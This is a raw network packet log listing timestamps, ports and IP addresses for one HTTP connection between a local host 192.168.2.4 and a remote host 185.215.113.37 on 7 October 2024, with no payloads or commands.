Oct 7, 2024 21:19:03.676004887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.676019907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.676052094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.676162004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.676215887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.676729918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.676762104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.676785946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.676795959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.676812887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.676867962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677064896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677103996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677135944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677139997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677162886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677187920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677206039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677237988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677259922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677272081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677292109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677334070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677746058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677778959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677804947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677812099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.677829027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.677880049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.799717903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.799758911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.799866915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.799923897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.799926043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.799926043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.799926043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.799966097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.799978971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800003052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800021887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800060987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800107002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800143957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800169945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800195932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800410032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800443888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800471067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800478935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800489902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800532103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800532103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800565004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800586939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800599098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800612926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800637007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.800662994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.800681114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.801116943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.801171064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.801177025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.801206112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.801225901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.801260948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.801291943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.801326036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.801358938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.801359892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.801376104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.801394939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.801407099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.801448107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.801460981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.801517010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924603939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924649954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924676895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924706936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924717903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924751997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924766064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924796104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924814939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924829960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924838066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924865961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924870968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924906969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924920082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924956083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924977064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.924988985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.924998045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925023079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925033092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925062895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925076008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925111055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925117970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925148010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925152063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925188065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925677061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925729990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925734043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925776005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925785065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925823927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925842047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925875902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925892115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925915003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.925920010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.925956964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.926091909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.926145077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.926361084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.926394939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.926412106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.926429987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.926431894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.926465034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.926470995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.926512003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.048996925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049046040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049073935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049089909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049104929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049120903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049119949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049140930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049153090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049179077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049339056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049386978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049458027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049474001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049506903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049523115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049587011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049634933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049670935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049696922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049711943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049721956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049735069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049751043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049813986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049828053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049844980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.049859047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049875021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.049890041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.050223112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.050273895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.050276041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.050290108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.050313950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.050327063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.050381899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.050398111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.050432920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.051140070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.051196098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.051207066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.051212072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.051237106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.051250935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.051271915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.051311016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173506021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173544884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173588991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173612118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173615932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173641920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173644066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173644066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173666000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173671007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173682928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173697948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173712015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173726082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173738003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173755884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173765898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173824072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173826933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173855066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.173871040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.173898935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174046040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174105883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174141884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174173117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174190998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174230099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174230099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174258947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174273968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174303055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174355984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174406052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174412012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174448967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174465895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174484968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174491882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174519062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174526930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174560070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174837112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174886942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174887896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174923897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.174937010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.174964905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.175004959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.175039053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.175055981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.175070047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.175075054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.175112009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.258404970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.258496046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.258954048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.259015083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298511028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298561096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298593998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298602104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298625946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298629999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298641920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298657894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298670053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298688889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298702002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298722982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298732042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298757076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298765898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298794031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298801899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298836946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298902035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298938036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298950911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.298973083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.298980951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299006939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299016953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299052000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299190998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299225092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299246073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299257994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299266100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299293995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299302101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299335957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299457073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299508095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299637079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299669981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299690008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299706936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299715042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299755096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299787045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299819946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299849033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299854994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299869061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299890995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.299901962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.299937010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.347024918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.347078085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.347106934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.347122908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.347182989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.347908020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.422875881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.422950029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423005104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423037052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423070908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423089981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423089981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423089981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423125029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423125029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423125982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423161030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423171997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423196077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423206091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423238993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423247099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423283100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423294067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423316956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423326015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423352957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423362017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423398018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423433065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423450947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423468113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423495054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423542023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423590899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423669100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423702955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423723936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423738956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423748016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423774004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423783064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423809052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.423818111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.423852921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.424117088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.424170017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.424233913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.424269915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.424283981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.424314022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.470871925 CEST	80	49730	185.215.113.37	192.168.2.4
